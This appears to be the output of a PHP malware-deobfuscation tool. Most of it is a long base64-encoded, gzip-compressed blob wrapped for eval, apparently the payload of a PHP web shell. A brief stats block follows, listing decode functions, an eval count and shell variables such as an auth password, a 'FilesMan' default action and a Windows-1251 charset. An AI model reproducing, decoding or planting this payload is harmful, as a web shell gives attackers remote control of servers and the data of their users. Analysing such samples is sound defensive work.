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'\x29\x29\x29\x3B",".");

Function Calls

gzinflate 2
preg_replace 1
base64_decode 2

Variables

$color #ddff55
$auth_pass
$default_action FilesMan
$default_charset Windows-1251
$default_use_ajax True

Stats

MD5 7e51d5536841a33a64e7638442f925c0
Eval Count 3
Decode Time 195 ms